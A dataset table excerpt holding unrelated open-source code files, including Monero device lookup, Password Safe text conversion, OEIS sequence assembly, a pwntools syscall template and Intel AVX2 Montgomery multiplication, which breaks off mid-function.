text stringlengths 1 1.05M |
|---|
// Copyright (c) 2017-2018, The Monero Project
//
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are
// permitted provided that the following conditions are met:
//
// 1. Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// 2. Redistributions in binary form must reproduce the above copyright notice, this list
// of conditions and the following disclaimer in the documentation and/or other
// materials provided with the distribution.
//
// 3. Neither the name of the copyright holder nor the names of its contributors may be
// used to endorse or promote products derived from this software without specific
// prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY
// EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
// MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL
// THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
// PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
// INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
// STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF
// THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
//
#include "device.hpp"
#include "device_default.hpp"
#ifdef HAVE_PCSC
#include "device_ledger.hpp"
#endif
#include "common/scoped_message_writer.h"
namespace hw {
/* ======================================================================= */
/* SETUP */
/* ======================================================================= */
device& get_device(const std::string device_descriptor) {
struct s_devices {
std::map<std::string, std::unique_ptr<device>> registry;
s_devices() : registry() {
hw::core::register_all(registry);
#ifdef HAVE_PCSC
hw::ledger::register_all(registry);
#endif
};
};
static const s_devices devices;
auto device = devices.registry.find(device_descriptor);
if (device == devices.registry.end()) {
auto logger = tools::fail_msg_writer();
logger << "device not found in registry '"<<device_descriptor<<"'\n" <<
"known devices:"<<device_descriptor<<"'";
for( const auto& sm_pair : devices.registry ) {
logger<< " - " << sm_pair.first ;
}
throw std::runtime_error("device not found: "+ device_descriptor);
}
return *device->second;
}
} |
# ----------------------------------------------------------------------
# Test_name: nand_test
# ----------------------------------------------------------------------
#
# RAM memory will be structured in the following manner:
#
# +---------+----------+
# | Address | Variable |
# +---------+----------+
# | RAM[00] | A |
# | RAM[01] | B |
# | RAM[02] | Y |
# +---------+----------+
#
# Where:
# - Y = ~(A & B)
#
#
# ROM Memory will be loaded with the following program:
# ----------------------------------------------------------------------
$begin:
LOAD A,0; # Load A operand
NAND A,1; # ALU Operation to be tested.
STORE A,2; # Save result
LOAD A,0; # Load A operand
ADDI A,1; # Add +1 to A operand
STORE A,0; # Save A operand
JZ $incb; # Jump to increase B operand if A operand is 0
JUMP $begin; # Start again the operation
$incb:
LOAD A,1; # Load B operand
ADDI A,1; # Add +1 to B operand
STORE A,1; # Save B operand
JZ $end; # Go to end
JUMP $begin; # Start again the operation
$end:
JUMP $end; # End, Finish test
|
<%
from pwnlib.shellcraft.aarch64.linux import syscall
%>
<%page args="epfd, op, fd, event"/>
<%docstring>
Invokes the syscall epoll_ctl. See 'man 2 epoll_ctl' for more information.
Arguments:
epfd(int): epfd
op(int): op
fd(int): fd
event(epoll_event): event
</%docstring>
${syscall('SYS_epoll_ctl', epfd, op, fd, event)}
|
TITLE Display the Date and Time (DateTime.asm)
; This Real-mode program displays the date and time.
; Last update: 12/8/01
Include Irvine16.inc
Write PROTO char:BYTE
.data
str1 BYTE "Date: ",0
str2 BYTE ", Time: ",0
.code
main PROC
mov ax,@data
mov ds,ax
; Display the date:
mov dx,OFFSET str1
call WriteString
mov ah,2Ah ; get system date
int 21h
movzx eax,dh ; month
call WriteDec
INVOKE Write,'-'
movzx eax,dl ; day
call WriteDec
INVOKE Write,'-'
movzx eax,cx ; year
call WriteDec
; Display the time:
mov dx,OFFSET str2
call WriteString
mov ah,2Ch ; get system time
int 21h
movzx eax,ch ; hours
call WritePaddedDec
INVOKE Write,':'
movzx eax,cl ; minutes
call WritePaddedDec
INVOKE Write,':'
movzx eax,dh ; seconds
call WritePaddedDec
call Crlf
exit
main ENDP
;---------------------------------------------
Write PROC char:BYTE
; Display a single character.
;---------------------------------------------
push eax
push edx
mov ah,2
mov dl,char
int 21h
pop edx
pop eax
ret
Write ENDP
;---------------------------------------------
WritePaddedDec PROC
; Display unsigned integer in EAX, padding
; to two digit positions with a leading zero.
;---------------------------------------------
.IF eax < 10
push eax
push edx
mov ah,2
mov dl,'0'
int 21h
pop edx
pop eax
.ENDIF
call WriteDec
ret
WritePaddedDec ENDP
END main |
/*
* Copyright (c) 2003-2019 Rony Shapiro <ronys@pwsafe.org>.
* All rights reserved. Use of the code is allowed under the
* Artistic License 2.0 terms, as specified in the LICENSE file
* distributed with this code, or available from
* http://www.opensource.org/licenses/artistic-license-2.0.php
*/
/**
* \file Windows-specific implementation of utf8conv.h
*/
#include "../typedefs.h"
#include "../utf8conv.h"
#include "../debug.h"
#include <locale.h>
class Startup {
public:
Startup() {
char *sl = setlocale(LC_ALL, "");
if (sl == NULL)
throw "Couldn't initialize locale - bailing out";
}
};
static Startup startup;
size_t pws_os::wcstombs(char *dst, size_t maxdstlen,
const wchar_t *src, size_t srclen, bool isUTF8)
{
UINT codePage = isUTF8 ? CP_UTF8 : CP_ACP;
if (dst == NULL || maxdstlen == 0) {
dst = NULL; maxdstlen = 0; // resolve ambiguity
}
size_t retval = static_cast<size_t>(WideCharToMultiByte(codePage, 0,
src, (int)srclen, dst, (int)maxdstlen,
NULL, NULL));
if (retval == 0) {
pws_os::Trace0(_T("WideCharToMultiByte failed: "));
switch (GetLastError()) {
case ERROR_INSUFFICIENT_BUFFER:
pws_os::Trace0(_T("ERROR_INSUFFICIENT_BUFFER\n"));
break;
case ERROR_INVALID_FLAGS:
pws_os::Trace0(_T("ERROR_INVALID_FLAGS\n"));
break;
case ERROR_INVALID_PARAMETER:
pws_os::Trace0(_T("ERROR_INVALID_PARAMETER\n"));
break;
default:
pws_os::Trace(_T("Unexpected code %lx\n"), GetLastError());
}
}
return retval;
}
size_t pws_os::mbstowcs(wchar_t *dst, size_t maxdstlen,
const char *src, size_t srclen, bool isUTF8)
{
UINT codePage;
DWORD flags;
if (isUTF8) {
codePage = CP_UTF8; flags = 0;
} else {
codePage = CP_ACP; flags = MB_PRECOMPOSED;
}
/* From MSDN docs:
srclen : Size, in bytes, of the string indicated by the lpMultiByteStr parameter.
Alternatively, this parameter can be set to -1 if the string is null-terminated.
Note that, if cbMultiByte is 0, the function fails.
If this parameter is -1, the function processes the entire input string,
including the terminating null character. Therefore, the resulting Unicode string has
a terminating null character, and the length returned by the function includes this character.
If this parameter is set to a positive integer, the function processes exactly the specified
number of bytes. If the provided size does not include a terminating null character,
the resulting Unicode string is not null-terminated,
and the returned length does not include this character.
*/
if (dst == NULL || maxdstlen == 0) {
dst = NULL; maxdstlen = 0; // resolve ambiguity
}
int iSrcLen = (srclen == 0) ? -1 : static_cast<int>(srclen);
int iMaxDstLen = static_cast<int>(maxdstlen);
return MultiByteToWideChar(codePage, flags,
src, iSrcLen,
dst, iMaxDstLen);
}
|
/*
* Copyright 2010-2017 Amazon.com, Inc. or its affiliates. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License").
* You may not use this file except in compliance with the License.
* A copy of the License is located at
*
* http://aws.amazon.com/apache2.0
*
* or in the "license" file accompanying this file. This file is distributed
* on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either
* express or implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
#include <aws/swf/model/CountPendingActivityTasksResult.h>
#include <aws/core/utils/json/JsonSerializer.h>
#include <aws/core/AmazonWebServiceResult.h>
#include <aws/core/utils/StringUtils.h>
#include <aws/core/utils/UnreferencedParam.h>
#include <utility>
using namespace Aws::SWF::Model;
using namespace Aws::Utils::Json;
using namespace Aws::Utils;
using namespace Aws;
CountPendingActivityTasksResult::CountPendingActivityTasksResult() :
m_count(0),
m_truncated(false)
{
}
CountPendingActivityTasksResult::CountPendingActivityTasksResult(const Aws::AmazonWebServiceResult<JsonValue>& result) :
m_count(0),
m_truncated(false)
{
*this = result;
}
CountPendingActivityTasksResult& CountPendingActivityTasksResult::operator =(const Aws::AmazonWebServiceResult<JsonValue>& result)
{
const JsonValue& jsonValue = result.GetPayload();
if(jsonValue.ValueExists("count"))
{
m_count = jsonValue.GetInteger("count");
}
if(jsonValue.ValueExists("truncated"))
{
m_truncated = jsonValue.GetBool("truncated");
}
return *this;
}
|
; A212135: Number of (w,x,y,z) with all terms in {1,...,n} and median<mean.
; 0,0,4,24,84,220,480,924,1624,2664,4140,6160,8844,12324,16744,22260,29040,37264,47124,58824,72580,88620,107184,128524,152904,180600,211900,247104,286524,330484,379320,433380,493024,558624,630564,709240,795060,888444,989824,1099644,1218360,1346440,1484364,1632624,1791724,1962180,2144520,2339284,2547024,2768304,3003700,3253800,3519204,3800524,4098384,4413420,4746280,5097624,5468124,5858464,6269340,6701460,7155544,7632324,8132544,8656960,9206340,9781464,10383124,11012124,11669280,12355420,13071384
bin $0,2
sub $1,$0
bin $1,2
mul $1,4
mov $0,$1
|
; A288170: a(n) = 3*a(n-1) - a(n-2) - 4*a(n-3) + 2*a(n-4) for n >= 4, where a(0) = 2, a(1) = 4, a(2) = 8, a(3) = 16, a(4) = 34, a(5) = 70 .
; 2,4,8,16,34,70,144,292,590,1186,2380,4768,9546,19102,38216,76444,152902,305818,611652,1223320,2446658,4893334,9786688,19573396,39146814,78293650,156587324,313174672,626349370,1252698766,2505397560,5010795148,10021590326,20043180682,40086361396,80172722824,160345445682,320690891398,641381782832,1282763565700,2565527131438,5131054262914,10262108525868,20524217051776,41048434103594,82096868207230,164193736414504,328387472829052,656774945658150,1313549891316346,2627099782632740,5254199565265528
mov $14,$0
mov $16,$0
add $16,1
lpb $16
clr $0,14
mov $0,$14
sub $16,1
sub $0,$16
mov $11,$0
mov $13,$0
add $13,1
lpb $13
mov $0,$11
sub $13,1
sub $0,$13
mov $7,$0
mov $9,2
lpb $9
mov $0,$7
sub $9,1
add $0,$9
sub $0,2
mov $1,6
mov $4,7
lpb $0
sub $0,1
mul $4,2
lpe
div $4,$1
mov $1,$4
mov $10,$9
lpb $10
mov $8,$1
sub $10,1
lpe
lpe
lpb $7
mov $7,0
sub $8,$1
lpe
mov $1,$8
mul $1,2
add $12,$1
lpe
add $15,$12
lpe
mov $1,$15
|
////////////////////////////////////////////////////////////////////////////////
/// DISCLAIMER
///
/// Copyright 2019-2019 ArangoDB GmbH, Cologne, Germany
///
/// Licensed under the Apache License, Version 2.0 (the "License");
/// you may not use this file except in compliance with the License.
/// You may obtain a copy of the License at
///
/// http://www.apache.org/licenses/LICENSE-2.0
///
/// Unless required by applicable law or agreed to in writing, software
/// distributed under the License is distributed on an "AS IS" BASIS,
/// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
/// See the License for the specific language governing permissions and
/// limitations under the License.
///
/// Copyright holder is ArangoDB GmbH, Cologne, Germany
///
/// @author Michael Hackstein
////////////////////////////////////////////////////////////////////////////////
#include "PruneExpressionEvaluator.h"
#include "Aql/AqlValue.h"
#include "Aql/Expression.h"
#include "Transaction/Methods.h"
using namespace arangodb;
using namespace arangodb::aql;
PruneExpressionEvaluator::PruneExpressionEvaluator(
transaction::Methods& trx,
QueryContext& query,
AqlFunctionsInternalCache& cache,
std::vector<Variable const*> vars, std::vector<RegisterId> regs,
size_t vertexVarIdx, size_t edgeVarIdx, size_t pathVarIdx, Expression* expr)
: _pruneExpression(expr),
_ctx(trx, query, cache, std::move(vars),
std::move(regs), vertexVarIdx, edgeVarIdx, pathVarIdx) {}
PruneExpressionEvaluator::~PruneExpressionEvaluator() = default;
bool PruneExpressionEvaluator::evaluate() {
bool mustDestroy = false;
aql::AqlValue res = _pruneExpression->execute(&_ctx, mustDestroy);
arangodb::aql::AqlValueGuard guard(res, mustDestroy);
return res.toBoolean();
}
|
; A173598: Period 6: repeat [1, 8, 7, 2, 4, 5].
; 1,8,7,2,4,5,1,8,7,2,4,5,1,8,7,2,4,5,1,8,7,2,4,5,1,8,7,2,4,5,1,8,7,2,4,5,1,8,7,2,4,5,1,8,7,2,4,5,1,8,7,2,4,5,1,8,7,2,4,5,1,8,7,2,4,5,1,8,7,2,4,5,1,8,7,2,4,5,1,8,7,2,4,5,1,8
mov $1,7
mov $2,$0
lpb $2
mul $1,5
mod $1,36
sub $2,1
lpe
sub $1,7
div $1,4
add $1,1
mov $0,$1
|
###############################################################################
# Copyright 2019 Intel Corporation
# All Rights Reserved.
#
# If this software was obtained under the Intel Simplified Software License,
# the following terms apply:
#
# The source code, information and material ("Material") contained herein is
# owned by Intel Corporation or its suppliers or licensors, and title to such
# Material remains with Intel Corporation or its suppliers or licensors. The
# Material contains proprietary information of Intel or its suppliers and
# licensors. The Material is protected by worldwide copyright laws and treaty
# provisions. No part of the Material may be used, copied, reproduced,
# modified, published, uploaded, posted, transmitted, distributed or disclosed
# in any way without Intel's prior express written permission. No license under
# any patent, copyright or other intellectual property rights in the Material
# is granted to or conferred upon you, either expressly, by implication,
# inducement, estoppel or otherwise. Any license under such intellectual
# property rights must be express and approved by Intel in writing.
#
# Unless otherwise agreed by Intel in writing, you may not remove or alter this
# notice or any other notice embedded in Materials by Intel or Intel's
# suppliers or licensors in any way.
#
#
# If this software was obtained under the Apache License, Version 2.0 (the
# "License"), the following terms apply:
#
# You may not use this file except in compliance with the License. You may
# obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0
#
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
#
# See the License for the specific language governing permissions and
# limitations under the License.
###############################################################################
.section .note.GNU-stack,"",%progbits
.text
.p2align 6, 0x90
.globl cpMontMul4n_avx2
.type cpMontMul4n_avx2, @function
cpMontMul4n_avx2:
push %rbx
push %rbp
push %r12
push %r13
push %r14
sub $(48), %rsp
mov %rdx, %rbp
movslq %r8d, %r8
movq %rdi, (%rsp)
movq %rsi, (16)(%rsp)
movq %rcx, (24)(%rsp)
movq %r8, (32)(%rsp)
movq (96)(%rsp), %rdi
mov %rdi, (8)(%rsp)
vpxor %ymm0, %ymm0, %ymm0
xor %rax, %rax
vmovdqu %ymm0, (%rsi,%r8,8)
vmovdqu %ymm0, (%rcx,%r8,8)
mov %r8, %r14
.p2align 6, 0x90
.LclearLoopgas_1:
vmovdqu %ymm0, (%rdi)
add $(32), %rdi
sub $(4), %r14
jg .LclearLoopgas_1
vmovdqu %ymm0, (%rdi)
lea (3)(%r8), %r14
and $(-4), %r14
.p2align 6, 0x90
.Lloop4_Bgas_1:
sub $(4), %r8
jl .Lexit_loop4_Bgas_1
movq (%rbp), %rbx
vpbroadcastq (%rbp), %ymm4
movq (8)(%rsp), %rdi
movq (16)(%rsp), %rsi
movq (24)(%rsp), %rcx
movq (%rdi), %r10
movq (8)(%rdi), %r11
movq (16)(%rdi), %r12
movq (24)(%rdi), %r13
mov %rbx, %rax
imulq (%rsi), %rax
add %rax, %r10
mov %r10, %rdx
imul %r9d, %edx
and $(134217727), %edx
mov %rbx, %rax
imulq (8)(%rsi), %rax
add %rax, %r11
mov %rbx, %rax
imulq (16)(%rsi), %rax
add %rax, %r12
mov %rbx, %rax
imulq (24)(%rsi), %rax
add %rax, %r13
vmovd %edx, %xmm8
vpbroadcastq %xmm8, %ymm8
mov %rdx, %rax
imulq (%rcx), %rax
add %rax, %r10
shr $(27), %r10
mov %rdx, %rax
imulq (8)(%rcx), %rax
add %rax, %r11
add %r10, %r11
mov %rdx, %rax
imulq (16)(%rcx), %rax
add %rax, %r12
mov %rdx, %rax
imulq (24)(%rcx), %rax
add %rax, %r13
movq (8)(%rbp), %rbx
vpbroadcastq (8)(%rbp), %ymm5
mov %rbx, %rax
imulq (%rsi), %rax
add %rax, %r11
mov %r11, %rdx
imul %r9d, %edx
and $(134217727), %edx
mov %rbx, %rax
imulq (8)(%rsi), %rax
add %rax, %r12
mov %rbx, %rax
imulq (16)(%rsi), %rax
add %rax, %r13
vmovd %edx, %xmm9
vpbroadcastq %xmm9, %ymm9
mov %rdx, %rax
imulq (%rcx), %rax
add %rax, %r11
shr $(27), %r11
mov %rdx, %rax
imulq (8)(%rcx), %rax
add %rax, %r12
add %r11, %r12
mov %rdx, %rax
imulq (16)(%rcx), %rax
add %rax, %r13
movq (16)(%rbp), %rbx
vpbroadcastq (16)(%rbp), %ymm6
mov %rbx, %rax
imulq (%rsi), %rax
add %rax, %r12
mov %r12, %rdx
imul %r9d, %edx
and $(134217727), %edx
mov %rbx, %rax
imulq (8)(%rsi), %rax
add %rax, %r13
vmovd %edx, %xmm10
vpbroadcastq %xmm10, %ymm10
mov %rdx, %rax
imulq (%rcx), %rax
add %rax, %r12
shr $(27), %r12
mov %rdx, %rax
imulq (8)(%rcx), %rax
add %rax, %r13
add %r12, %r13
movq (24)(%rbp), %rbx
vpbroadcastq (24)(%rbp), %ymm7
imulq (%rsi), %rbx
add %rbx, %r13
mov %r13, %rdx
imul %r9d, %edx
and $(134217727), %edx
vmovd %edx, %xmm11
vpbroadcastq %xmm11, %ymm11
imulq (%rcx), %rdx
add %rdx, %r13
shr $(27), %r13
vmovq %r13, %xmm0
vpaddq (32)(%rdi), %ymm0, %ymm0
vmovdqu %ymm0, (32)(%rdi)
add $(32), %rbp
add $(32), %rsi
add $(32), %rcx
add $(32), %rdi
mov %r14, %r11
sub $(4), %r11
.p2align 6, 0x90
.Lloop16_Agas_1:
sub $(16), %r11
jl .Lexit_loop16_Agas_1
vmovdqu (%rdi), %ymm0
vmovdqu (32)(%rdi), %ymm1
vmovdqu (64)(%rdi), %ymm2
vmovdqu (96)(%rdi), %ymm3
vpmuludq (%rsi), %ymm4, %ymm12
vpaddq %ymm12, %ymm0, %ymm0
vpmuludq (%rcx), %ymm8, %ymm13
vpaddq %ymm13, %ymm0, %ymm0
vpmuludq (32)(%rsi), %ymm4, %ymm12
vpaddq %ymm12, %ymm1, %ymm1
vpmuludq (32)(%rcx), %ymm8, %ymm13
vpaddq %ymm13, %ymm1, %ymm1
vpmuludq (64)(%rsi), %ymm4, %ymm12
vpaddq %ymm12, %ymm2, %ymm2
vpmuludq (64)(%rcx), %ymm8, %ymm13
vpaddq %ymm13, %ymm2, %ymm2
vpmuludq (96)(%rsi), %ymm4, %ymm12
vpaddq %ymm12, %ymm3, %ymm3
vpmuludq (96)(%rcx), %ymm8, %ymm13
vpaddq %ymm13, %ymm3, %ymm3
vpmuludq (-8)(%rsi), %ymm5, %ymm12
vpaddq %ymm12, %ymm0, %ymm0
vpmuludq (-8)(%rcx), %ymm9, %ymm13
vpaddq %ymm13, %ymm0, %ymm0
vpmuludq (24)(%rsi), %ymm5, %ymm12
vpaddq %ymm12, %ymm1, %ymm1
vpmuludq (24)(%rcx), %ymm9, %ymm13
vpaddq %ymm13, %ymm1, %ymm1
vpmuludq (56)(%rsi), %ymm5, %ymm12
vpaddq %ymm12, %ymm2, %ymm2
vpmuludq (56)(%rcx), %ymm9, %ymm13
vpaddq %ymm13, %ymm2, %ymm2
vpmuludq (88)(%rsi), %ymm5, %ymm12
vpaddq %ymm12, %ymm3, %ymm3
vpmuludq (88)(%rcx), %ymm9, %ymm13
vpaddq %ymm13, %ymm3, %ymm3
vpmuludq (-16)(%rsi), %ymm6, %ymm12
vpaddq %ymm12, %ymm0, %ymm0
vpmuludq (-16)(%rcx), %ymm10, %ymm13
vpaddq %ymm13, %ymm0, %ymm0
vpmuludq (16)(%rsi), %ymm6, %ymm12
vpaddq %ymm12, %ymm1, %ymm1
vpmuludq (16)(%rcx), %ymm10, %ymm13
vpaddq %ymm13, %ymm1, %ymm1
vpmuludq (48)(%rsi), %ymm6, %ymm12
vpaddq %ymm12, %ymm2, %ymm2
vpmuludq (48)(%rcx), %ymm10, %ymm13
vpaddq %ymm13, %ymm2, %ymm2
vpmuludq (80)(%rsi), %ymm6, %ymm12
vpaddq %ymm12, %ymm3, %ymm3
vpmuludq (80)(%rcx), %ymm10, %ymm13
vpaddq %ymm13, %ymm3, %ymm3
vpmuludq (-24)(%rsi), %ymm7, %ymm12
vpaddq %ymm12, %ymm0, %ymm0
vpmuludq (-24)(%rcx), %ymm11, %ymm13
vpaddq %ymm13, %ymm0, %ymm0
vpmuludq (8)(%rsi), %ymm7, %ymm12
vpaddq %ymm12, %ymm1, %ymm1
vpmuludq (8)(%rcx), %ymm11, %ymm13
vpaddq %ymm13, %ymm1, %ymm1
vpmuludq (40)(%rsi), %ymm7, %ymm12
vpaddq %ymm12, %ymm2, %ymm2
vpmuludq (40)(%rcx), %ymm11, %ymm13
vpaddq %ymm13, %ymm2, %ymm2
vpmuludq (72)(%rsi), %ymm7, %ymm12
vpaddq %ymm12, %ymm3, %ymm3
vpmuludq (72)(%rcx), %ymm11, %ymm13
vpaddq %ymm13, %ymm3, %ymm3
vmovdqu %ymm0, (-32)(%rdi)
vmovdqu %ymm1, (%rdi)
vmovdqu %ymm2, (32)(%rdi)
vmovdqu %ymm3, (64)(%rdi)
add $(128), %rdi
add $(128), %rsi
add $(128), %rcx
jmp .Lloop16_Agas_1
.Lexit_loop16_Agas_1:
add $(16), %r11
jz .LexitAgas_1
.Lloop4_Agas_1:
sub $(4), %r11
jl .LexitAgas_1
vmovdqu (%rdi), %ymm0
vpmuludq (%rsi), %ymm4, %ymm12
vpaddq %ymm12, %ymm0, %ymm0
vpmuludq (%rcx), %ymm8, %ymm13
vpaddq %ymm13, %ymm0, %ymm0
vpmuludq (-8)(%rsi), %ymm5, %ymm1
vpaddq %ymm1, %ymm0, %ymm0
vpmuludq (-8)(%rcx), %ymm9, %ymm2
vpaddq %ymm2, %ymm0, %ymm0
vpmuludq (-16)(%rsi), %ymm6, %ymm12
vpaddq %ymm12, %ymm0, %ymm0
vpmuludq (-16)(%rcx), %ymm10, %ymm13
vpaddq %ymm13, %ymm0, %ymm0
vpmuludq (-24)(%rsi), %ymm7, %ymm1
vpaddq %ymm1, %ymm0, %ymm0
vpmuludq (-24)(%rcx), %ymm11, %ymm2
vpaddq %ymm2, %ymm0, %ymm0
vmovdqu %ymm0, (-32)(%rdi)
add $(32), %rdi
add $(32), %rsi
add $(32), %rcx
jmp .Lloop4_Agas_1
.LexitAgas_1:
vpmuludq (-8)(%rsi), %ymm5, %ymm1
vpmuludq (-8)(%rcx), %ymm9, %ymm13
vpaddq %ymm13, %ymm1, %ymm1
vpmuludq (-16)(%rsi), %ymm6, %ymm2
vpmuludq (-16)(%rcx), %ymm10, %ymm13
vpaddq %ymm13, %ymm2, %ymm2
vpmuludq (-24)(%rsi), %ymm7, %ymm3
vpmuludq (-24)(%rcx), %ymm11, %ymm13
vpaddq %ymm13, %ymm3, %ymm3
vpaddq %ymm2, %ymm1, %ymm1
vpaddq %ymm3, %ymm1, %ymm1
vmovdqu %ymm1, (-32)(%rdi)
jmp .Lloop4_Bgas_1
.Lexit_loop4_Bgas_1:
movq (%rsp), %rdi
movq (8)(%rsp), %rsi
movq (32)(%rsp), %r8
xor %rax, %rax
.Lnorm_loopgas_1:
addq (%rsi), %rax
add $(8), %rsi
mov $(134217727), %rdx
and %rax, %rdx
shr $(27), %rax
movq %rdx, (%rdi)
add $(8), %rdi
sub $(1), %r8
jg .Lnorm_loopgas_1
movq %rax, (%rdi)
add $(48), %rsp
vzeroupper
pop %r14
pop %r13
pop %r12
pop %rbp
pop %rbx
ret
.Lfe1:
.size cpMontMul4n_avx2, .Lfe1-(cpMontMul4n_avx2)
.p2align 6, 0x90
.globl cpMontMul4n1_avx2
.type cpMontMul4n1_avx2, @function
cpMontMul4n1_avx2:
push %rbx
push %rbp
push %r12
push %r13
push %r14
sub $(48), %rsp
mov %rdx, %rbp
movslq %r8d, %r8
movq %rdi, (%rsp)
movq %rsi, (16)(%rsp)
movq %rcx, (24)(%rsp)
movq %r8, (32)(%rsp)
movq (96)(%rsp), %rdi
mov %rdi, (8)(%rsp)
vpxor %ymm0, %ymm0, %ymm0
xor %rax, %rax
vmovdqu %ymm0, (%rsi,%r8,8)
vmovdqu %ymm0, (%rcx,%r8,8)
mov %r8, %r14
.p2align 6, 0x90
.LclearLoopgas_2:
vmovdqu %ymm0, (%rdi)
add $(32), %rdi
sub $(4), %r14
jg .LclearLoopgas_2
movq %rax, (%rdi)
lea (3)(%r8), %r14
and $(-4), %r14
.p2align 6, 0x90
.Lloop4_Bgas_2:
sub $(4), %r8
jl .Lexit_loop4_Bgas_2
movq (%rbp), %rbx
vpbroadcastq (%rbp), %ymm4
movq (8)(%rsp), %rdi
movq (16)(%rsp), %rsi
movq (24)(%rsp), %rcx
movq (%rdi), %r10
movq (8)(%rdi), %r11
movq (16)(%rdi), %r12
movq (24)(%rdi), %r13
mov %rbx, %rax
imulq (%rsi), %rax
add %rax, %r10
mov %r10, %rdx
imul %r9d, %edx
and $(134217727), %edx
mov %rbx, %rax
imulq (8)(%rsi), %rax
add %rax, %r11
mov %rbx, %rax
imulq (16)(%rsi), %rax
add %rax, %r12
mov %rbx, %rax
imulq (24)(%rsi), %rax
add %rax, %r13
vmovd %edx, %xmm8
vpbroadcastq %xmm8, %ymm8
mov %rdx, %rax
imulq (%rcx), %rax
add %rax, %r10
shr $(27), %r10
mov %rdx, %rax
imulq (8)(%rcx), %rax
add %rax, %r11
add %r10, %r11
mov %rdx, %rax
imulq (16)(%rcx), %rax
add %rax, %r12
mov %rdx, %rax
imulq (24)(%rcx), %rax
add %rax, %r13
movq (8)(%rbp), %rbx
vpbroadcastq (8)(%rbp), %ymm5
mov %rbx, %rax
imulq (%rsi), %rax
add %rax, %r11
mov %r11, %rdx
imul %r9d, %edx
and $(134217727), %edx
mov %rbx, %rax
imulq (8)(%rsi), %rax
add %rax, %r12
mov %rbx, %rax
imulq (16)(%rsi), %rax
add %rax, %r13
vmovd %edx, %xmm9
vpbroadcastq %xmm9, %ymm9
mov %rdx, %rax
imulq (%rcx), %rax
add %rax, %r11
shr $(27), %r11
mov %rdx, %rax
imulq (8)(%rcx), %rax
add %rax, %r12
add %r11, %r12
mov %rdx, %rax
imulq (16)(%rcx), %rax
add %rax, %r13
movq (16)(%rbp), %rbx
vpbroadcastq (16)(%rbp), %ymm6
mov %rbx, %rax
imulq (%rsi), %rax
add %rax, %r12
mov %r12, %rdx
imul %r9d, %edx
and $(134217727), %edx
mov %rbx, %rax
imulq (8)(%rsi), %rax
add %rax, %r13
vmovd %edx, %xmm10
vpbroadcastq %xmm10, %ymm10
mov %rdx, %rax
imulq (%rcx), %rax
add %rax, %r12
shr $(27), %r12
mov %rdx, %rax
imulq (8)(%rcx), %rax
add %rax, %r13
add %r12, %r13
movq (24)(%rbp), %rbx
vpbroadcastq (24)(%rbp), %ymm7
imulq (%rsi), %rbx
add %rbx, %r13
mov %r13, %rdx
imul %r9d, %edx
and $(134217727), %edx
vmovd %edx, %xmm11
vpbroadcastq %xmm11, %ymm11
imulq (%rcx), %rdx
add %rdx, %r13
shr $(27), %r13
vmovq %r13, %xmm0
vpaddq (32)(%rdi), %ymm0, %ymm0
vmovdqu %ymm0, (32)(%rdi)
add $(32), %rbp
add $(32), %rsi
add $(32), %rcx
add $(32), %rdi
mov %r14, %r11
sub $(4), %r11
.p2align 6, 0x90
.Lloop16_Agas_2:
sub $(16), %r11
jl .Lexit_loop16_Agas_2
vmovdqu (%rdi), %ymm0
vmovdqu (32)(%rdi), %ymm1
vmovdqu (64)(%rdi), %ymm2
vmovdqu (96)(%rdi), %ymm3
vpmuludq (%rsi), %ymm4, %ymm12
vpaddq %ymm12, %ymm0, %ymm0
vpmuludq (%rcx), %ymm8, %ymm13
vpaddq %ymm13, %ymm0, %ymm0
vpmuludq (32)(%rsi), %ymm4, %ymm12
vpaddq %ymm12, %ymm1, %ymm1
vpmuludq (32)(%rcx), %ymm8, %ymm13
vpaddq %ymm13, %ymm1, %ymm1
vpmuludq (64)(%rsi), %ymm4, %ymm12
vpaddq %ymm12, %ymm2, %ymm2
vpmuludq (64)(%rcx), %ymm8, %ymm13
vpaddq %ymm13, %ymm2, %ymm2
vpmuludq (96)(%rsi), %ymm4, %ymm12
vpaddq %ymm12, %ymm3, %ymm3
vpmuludq (96)(%rcx), %ymm8, %ymm13
vpaddq %ymm13, %ymm3, %ymm3
vpmuludq (-8)(%rsi), %ymm5, %ymm12
vpaddq %ymm12, %ymm0, %ymm0
vpmuludq (-8)(%rcx), %ymm9, %ymm13
vpaddq %ymm13, %ymm0, %ymm0
vpmuludq (24)(%rsi), %ymm5, %ymm12
vpaddq %ymm12, %ymm1, %ymm1
vpmuludq (24)(%rcx), %ymm9, %ymm13
vpaddq %ymm13, %ymm1, %ymm1
vpmuludq (56)(%rsi), %ymm5, %ymm12
vpaddq %ymm12, %ymm2, %ymm2
vpmuludq (56)(%rcx), %ymm9, %ymm13
vpaddq %ymm13, %ymm2, %ymm2
vpmuludq (88)(%rsi), %ymm5, %ymm12
vpaddq %ymm12, %ymm3, %ymm3
vpmuludq (88)(%rcx), %ymm9, %ymm13
vpaddq %ymm13, %ymm3, %ymm3
vpmuludq (-16)(%rsi), %ymm6, %ymm12
vpaddq %ymm12, %ymm0, %ymm0
vpmuludq (-16)(%rcx), %ymm10, %ymm13
